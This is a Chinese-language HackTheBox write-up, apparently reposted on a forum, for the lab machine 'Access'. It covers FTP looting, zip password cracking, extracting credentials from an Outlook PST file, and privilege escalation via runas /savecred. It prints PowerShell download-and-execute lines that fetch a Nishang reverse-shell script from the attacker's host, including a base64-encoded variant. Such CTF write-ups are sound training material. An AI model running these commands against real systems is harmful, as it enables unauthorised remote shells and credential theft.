搜索

[26777] 2019-03-09_【HTB系列】靶机Access的渗透测试详解

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2019-03-09_【HTB系列】靶机Access的渗透测试详解 【 H T B 系 列 】 靶 机 A c c e s s 的 渗 透 测 试 详 解 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 1 9 - 0 3 - 0 9 收 录 于 话 题   # 靶 场 系 列 文 章   , 2 3 个 H a c k   T h e   B o x 是 一 个 C T F 挑 战 靶 机 平 台 ， 在 线 渗 透 测 试 平 台 。 它 能 帮 助 你 提 升 渗 透 测 试 技 能 和 黑 盒 测 试 技 能 ， 它 包 含 了 一 些 不 断 更 新 的 挑 战 ， 其 中 有 模 拟 真 实 世 界 场 景 ， 也 有 倾 向 于 C T F 风 格 的 挑 战 。 h t t p s : / / w w w . h a c k t h e b o x . e u / 平 台 上 有 很 多 靶 机 ， 从 易 到 难 ， 黑 客 每 入 侵 一 台 机 器 都 会 获 得 相 应 积 分 ， 通 过 积 分 排 名 设 有 名 人 堂 。 今 天 要 实 验 的 是 靶 机 A c c e s s 。 一 一 . 获 取 普 通 用 户 权 限 获 取 普 通 用 户 权 限 首 先 我 们 用 n m a p 探 测 下 靶 机 的 信 息 。 n m a p   - s C   - s V   - T 5   1 0 . 1 0 . 1 0 . 9 8 可 以 看 到 靶 机 开 放 了 2 1 ， 2 3 ， 8 0 端 口 。 t e l n e t 后 面 有 一 个 ？ 说 明 n m a p 也 不 确 定 是 否 为 t e l n e t 。 这 里 我 用 m s f 来 探 测 下 F T P 是 否 允 许   匿 名 登 陆 ， 使 用 m s f 的 / a u x i l i a r y / s c a n n e r / f t p / a n o n y m o u s 模 块 。 F T P 是 运 行 匿 名 登 陆 的 ， 那 我 们 进 行 远 程 登 陆 F T P 看 看 有 什 么 东 西 。
这 里 我 用 w g e t 递 归 下 载 F T P 文 件 。 w g e t   - m   f t p : / / a n o n y m o u s : a n o n y m o u s @ 1 0 . 1 0 . 1 0 . 9 8 发 现 报 错   无 法 启 动 P A S V 传 输 ， 那 我 们 加 个   - - n o - p a s s i v e   使 用 F T P 的 被 动 模 式 。 w g e t   - m   - - n o - p a s s i v e   f t p : / / a n o n y m o u s : a n o n y m o u s @ 1 0 . 1 0 . 1 0 . 9 8     下 载 成 功 ！ 同 样 我 们 试 下 T e l n e t 是 否 能 匿 名 登 陆 。 不 存 在 匿 名 登 陆 ， 但 是 我 也 确 定 了 2 3 这 个 端 口 的 是 t e l n e t ， 接 下 来 在 访 问 下 8 0 端 口 。 我 们 d o w n l o a d 下 这 个 图 片 看 看 这 个 图 片 是 否 存 在 隐 藏 的 信 息 。 先 用 e x i f t o o l 查 看 是 否 存 在 图 片 的 其 他 信 息 。
好 像 并 没 有 什 么 额 外 的 信 息 ， 再 用 s t r i n g s 查 找 下 图 片 的 二 进 制 里 面 是 否 有 字 符 串   s t r i n g s   o u t . j p g     也 没 有 发 现 什 么 额 外 的 信 息 ， 那 我 们 接 下 来 用 g o b u s t e r 进 行 目 录 的 爆 破 。 g o b u s t e r   - u   h t t p : / / 1 0 . 1 0 . 1 0 . 9 8   - w   / u s r / s h a r e / w o r d l i s t s / d i r b u s t e r / d i r e c t o r y - l i s t - 2 . 3 - m e d i u m . t x t 经 过 了 挺 久 的 时 间 ， 没 爆 破 出 什 么 有 用 的 信 息 。 我 们 去 看 下 刚 刚 从 F T P 下 载 来 的 文 件 ， 先 解 压 E n g i n e e r 目 录 下 的 A c c e s s   C o n t r o l . Z i p 文 件 。 发 生 了 一 个 错 误 ， 还 7 z 来 进 行 解 压 。 7 z   x   A c c e s s   C o n t r o l . z i p 发 现 Z I P 是 需 要 密 码 的 ， 随 便 输 入 个 密 码 报 错 ， 我 们 用 7 z   的 l 命 令 下 的 s l t 命 令 。 7 z   l   - s l t   A c c e s s   C o n t r o l . z i p     参 数 说 明 ： l ： 用 于 显 示 压 缩 文 件 的 信 息
l ： 用 于 显 示 压 缩 文 件 的 信 息 S l t ： 属 于 l 下 的 子 命 令 用 来 显 示 压 缩 文 件 的 技 术 信 息 压 缩 文 件 使 用 A E S - 2 5 6   D e f l a t e 进 行 加 密 的 ， 我 们 把 密 码 的 H A S H 提 取 出 来 到 时 候 破 解 用 。 z i p 2 j o h n   A c c e s s   C o n t r o l . z i p   >   A c c e s s   C o n t r o l . h a s h 我 们 在 看 下 另 一 个 文 件 。 是 一 个 a c c e s s 的 数 据 库 文 件 ， 里 面 应 该 会 出 现 用 于 解 压 压 缩 文 件 的 密 码 。 你 可 以 用 工 具 打 开 查 看 里 面 的 数 据 一 个 一 个 找 找 到 需 要 的 密 码 。 还 有 一 个 更 快 捷 的 方 法 ， 因 为 密 码 最 低 就 是 8 位 的 ， 我 们 用 过 s t r i n g s 方 法 把 m d b 用 二 进 制 文 件 的 形 式 打 开 ， 然 后 只 输 出 内 容 大 于 等 于 8 的 内 容 ， 在 把 这 些 内 容 输 出 成 一 个 w o r d l i s t 用 来 破 解 压 缩 文 件 。 s t r i n g s   - n   8   b a c k u p . m d b   |   s o r t   - u   >   . . / E n g i n e e r / w o r d l i s t     s t r i n g s 输 出 的 内 容 通 过 s o r t 的 - u 参 数 去 重 ， 然 后 在 输 出 到 文 件 里 面 。 然 后 我 们 利 用 j o h n 开 始 破 解
然 后 我 们 利 用 j o h n 开 始 破 解 破 解 成 功 ， 这 里 可 能 不 好 找 到 密 码 可 以 用 这 条 命 令 显 示 破 解 出 的 密 码 。 j o h n   A c c e s s   C o n t r o l . h a s h   - - s h o w     密 码 :   a c c e s s 4 u @ s e c u r i t y 那 接 下 来 我 们 去 解 压 压 缩 文 件 。 解 压 成 功 ！ ！ ！ 我 们 用 f i l e 看 下 这 个 . p s t 是 什 么 文 件 是 一 个 o u t l o o k 的 个 人 文 件 夹 。 我 们 用 r e a d p s t 来 读 取 下 ， 然 后 目 录 下 面 会 多 出 一 个 A c c e s s   C o n t r o l . m b o x 文 件 。 我 们 用 l e s s   A c c e s s   C o n t r o l . m b o x     可 以 看 到 s e c u r i t y 的 密 码 ： 4 C c 3 s s C 0 n t r 0 l l e r 。 我 们 用 获 得 凭 证 去 登 陆 t e l n e t 。 S e c u r i t y ： 4 C c 3 s s C 0 n t r 0 l l e r
登 陆 成 功 ！ 然 后 C D 到 桌 面 查 看 u s e r . t x t 即 可 得 到 u s e r 的 f l a g 。 二 二 . 获 取 管 理 员 权 限 获 取 管 理 员 权 限 接 下 来 就 是 怎 么 得 到 管 理 员 权 限 ， 测 试 下 p o w e r s h e l l 是 否 能 正 常 工 作 。 p o w e r s h e l l 正 常 的 ， 那 我 们 本 地 搭 建 一 个 简 易 的 H T T P 服 务 器 放 上 我 们 的 p o w e r s h e l l 反 弹 s h e l l 脚 本 ， 让 靶 机 进 行 远 程 下 载 执 行 反 弹 一 个 s h e l l 。 这 里 用 n i s h a n g   这 是 一 个 基 于 P o w e r s h e l l 的 攻 击 框 架 ， 项 目 地 址 :   h t t p s : / / g i t h u b . c o m / s a m r a t a s h o k / n i s h a n g 。 我 们 新 建 一 个   w w w 目 录   然 后 把 n i s h a n g 里 面 需 要 用 的 脚 本 c o p y 进 去 。 c p   ~ / H T B / A c c e s s / n i s h a n g / S h e l l s / I n v o k e - P o w e r S h e l l T c p . p s 1   ~ / H T B / A c c e s s / w w w / n i s h a n g . p s 1     然 后 v i 下 编 辑 这 个 n i s h a n g . p s 1 ， 在 最 底 下 加 上 这 行 命 令 I n v o k e - P o w e r S h e l l T c p   - R e v e r s e   - I P A d d r e s s   你 的 I P 地 址   - P o r t   监 听 端 口 然 后 我 们 用 n c   监 听 9 0 0 1 接 着 用 p y t h o n 开 启 H T T P 服 务 器 然 后 在 目 标 靶 机 t e l n e t 上 执 行 这 段 代 码 ， 就 是 远 程 执 行 p o w e r s h e l l 脚 本 。 p o w e r s h e l l   " I E X ( N e w - O b j e c t   N e t . W e b C l i e n t ) . d o w n l o a d S t r i n g ( ' h t t p : / / 1 0 . 1 0 . 1 3 . 1 4 7 : 8 0 0 0 / n i s h a n g . p s 1 ' ) "     之 后 就 会 反 弹 一 个 s h e l l 接 下 来 我 们 在 上 传 一 个 脚 本 用 来 检 测 W i n d o w s 系 统 以 提 升 权 限 。 J A W S ： h t t p s : / / g i t h u b . c o m / 4 1 1 H a l l / J A W S 我 们 在 刚 刚 反 弹 的 s h e l l 中 去 执 行 这 个 脚 本 ， 来 检 测 目 标 系 统 的 信 息 。 I E X ( N e w - O b j e c t   N e t . W e b C l i e n t ) . d o w n l o a d S t r i n g ( ' h t t p : / /   1 0 . 1 0 . 1 3 . 1 4 7 : 8 0 0 0 / j a w s - e n u m . p s 1 ' )     执 行 完 成 后 会 返 回 一 系 列 信 息 ， 然 后 在 这 里 查 找 有 关 信 息 ， 这 里 我 只 截 取 凭 证 部 分 。
上 面 是 电 脑 中 存 储 的 凭 证 。 当 然 你 也 可 以 用 c m d k e y   / l i s t   也 会 出 现 相 关 信 息 。 在 查 找 的 过 程 中 我 在 公 共 用 户 的 目 录 里 面 找 到 一 个 快 捷 连 接 。 百 度 下 具 体 信 息 。 用 t y p e 查 看 下 内 容 ， 发 现 一 些 关 键 信 息 R u n a s 并 且 带 有 / s a v e c r e d   ， R u n a s 的 介 绍 ： h t t p s : / / b l o g . c s d n . n e t / n z j d s d s / a r t i c l e / d e t a i l s / 8 8 3 1 2 9 1 0 。 这 个 就 可 以 成 为 我 们 的 利 用 点 ， 但 是 用 t y p e 获 得 信 息 杂 乱 无 章 ， 我 们 需 用 另 一 种 方 法 来 获 得 更 为 详 细 的 整 洁 的 输 出 。 这 里 我 们 用 s c r i p t 脚 本 的 创 建 快 捷 方 式 实 现 。 1 .     $ W S c r i p t   =   N e w - O b j e c t   - C o m O b j e c t   W s c r i p t . S h e l l     2 .     $ s h o r t c u t   =   G e t - C h i l d I t e m   * . l n k     3 .     $ W s c r i p t . C r e a t e S h o r t c u t ( $ s h o r t c u t )     这 里 W S c r i p t 用 来 绑 定 W s c r i p t . S h e l l 的 ， 然 后 G e t - C h i l d I t e m   * . l n k   就 是 跟 d i r 差 不 多 找 出 后 缀 为 . l n k 文 件 （ 效 果 图 如 下 ） 。
然 后 我 们 调 用 W s c r i p t 的 C r e a t e S h o r t c u t 函 数 创 建 快 捷 方 式 来 查 看 里 面 的 l n k 里 面 的 详 细 信 息 。 这 里 我 要 说 一 下 就 是 这 里 创 建 的 快 捷 方 式 是 存 在 内 存 里 面 的 ， 在 调 用 这 个 函 数 的 S A V E 函 数 之 前 ， 这 个 快 捷 方 式 是 存 在 内 存 里 面 的 ， 我 们 只 是 需 要 这 个 Z K A c c e s s 3 . 5 S e c u r i t y   S y s t e m . l n k 里 面 的 详 细 工 整 的 信 息 只 是 通 过 这 个 方 式 查 看 而 已 。 在 这 里 面 我 们 可 以 很 清 楚 的 看 到 r u n a s   并 且 带 有 s a v e c r e d   参 数 。 所 以 这 边 我 们 r u n a s 的 话 可 以 不 需 要 用 户 的 凭 证 。 但 是 r u n a s 之 后 没 有 任 何 报 错 ， 但 是 命 令 也 没 有 执 行 成 功 ， 应 该 是 编 码 的 问 题 。 接 下 来 我 们 主 要 就 是 在 这 个 s h e l l 中 在 r u n a s 反 弹 一 个 管 理 员 权 限 的 s h e l l 。 我 们 先 在 自 己 的 K a l i 中 监 听 9 0 0 2 ， 然 后 把 我 们 之 前 用 于 反 弹 的 n i s h a n g . p s 1 重 新 复 制 一 份 为 n i s h a n g 2 . p s 1 并 编 辑 下 把 n i s h a n g 2 . p s 1 把 监 听 的 端 口 改 为 9 0 0 2 【 这 里 由 于 靶 机 不 是 一 天 之 内 完 成 并 写 好 文 章 的 ， 所 以 自 己 的 I P 地 址 后 来 变 成 1 0 . 1 0 . 1 2 . 1 1 4 】 r u n a s   / u s e r : A C C E S S A d m i n i s t r a t o r   / s a v e c r e d   " p o w e r s h e l l   " I E X ( N e w - O b j e c t   N e t . W e b C l i e n t ) . d o w n l o a d S t r i n g ( ' h t t p : / / 1 0 . 1 0 . 1 2 . 1 1 4 : 8 0 0 0 / n i s h a n g 2 . p s 1 ' ) " "     这 里 我 换 了 一 种 格 式 写 ， 发 现 我 的 p y t h o n   H T T P 服 务 器 出 现 了 响 应 ， 但 是 9 0 0 2 并 没 有 返 回 s h e l l 。 在 这 里 猜 测 可 能 是 编 码 的 问 题 ， w i n d o w s 和 l i n u x 采 用 的 编 码 不 一 样 ， 所 以 我 们 的 命 令 需 要 转 换 成 w i n d o w s 能 够 识 别 的 编 码 ， 这 里 我 们 用 i c o n v 和 b a s e 6 4 。 这 里 转 码 要 用 U T F - 1 6 L E 。 e c h o   - n   " I E X ( N e w - O b j e c t   N e t . W e b C l i e n t ) . d o w n l o a d S t r i n g ( ' h t t p : / / 1 0 . 1 0 . 1 2 . 1 1 4 : 8 0 0 0 / n i s h a n g 2 . p s 1 ' ) "   |   i c o n v   - - t o - c o d e   U T F - 1 6 L E   |   b a s e 6 4   - w   0     输 出 内 容 ： S Q B F A F g A K A B O A G U A d w A t A E 8 A Y g B q A G U A Y w B 0 A C A A T g B l A H Q A L g B X A G U A Y g B D A G w A a Q B l A G 4 A d A A p A C 4 A Z A B v A H c A b g B s A G 8 A Y Q B k A F M A d A B y A G k A b g B n A C g A J w B o A H Q A d A B w A D o A L w A v A D E A M A A u A D E A M A A u A D E A M g A u A D E A M Q A 0 A D o A O A A w A D A A M A A v A G 4 A a Q B z A G g A Y Q B u A G c A M g A u A H A A c w A x A C c A K Q A = 然 后 我 们 执 行 下 ： r u n a s   / u s e r : A C C E S S A d m i n i s t r a t o r   / s a v e c r e d   " P o w e r s h e l l   - E n c o d e d C o m m a n d   S Q B F A F g A K A B O A G U A d w A t A E 8 A Y g B q A G U A Y w B 0 A C A A T g B l A H Q A L g B X A G U A Y g B D A G w A a Q B l A G 4 A d A A p A C 4 A Z A B v A H c A b g B s A G 8 A Y Q B k A F M A d A B y A G k A b g B n A C g A J w B o A H Q A d A B w A D o A L w A v A D E A M A A u A D E A M A A u A D E A M g A u A D E A M Q A 0 A D o A O A A w A D A A M A A v A G 4 A a Q B z A G g A Y Q B u A G c A M g A u A H A A c w A x A C c A K Q A = " 然 后 发 现 9 0 0 2 端 口 得 到 s h e l l 说 明 执 行 成 功 拿 到 r o o t 的 f l a g 。
拿 到 r o o t 的 f l a g 。 作 者 ： 是 大 方 子 来 源 ： M s 0 8 0 6 7 安 全 实 验 室 往 期 回 顾 1 . 步 步 为 营 之 游 走 于 内 网 2 . S S R F 漏 洞 利 用 与 g e t s h e l l 实 战 （ 精 选 ） 3 . 内 网 漫 游 之 S O C K S 代 理 大 结 局   m s 0 8 0 6 7 安 全 实 验 室   界 世 的 你 当 作 你 的 肩 膀
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理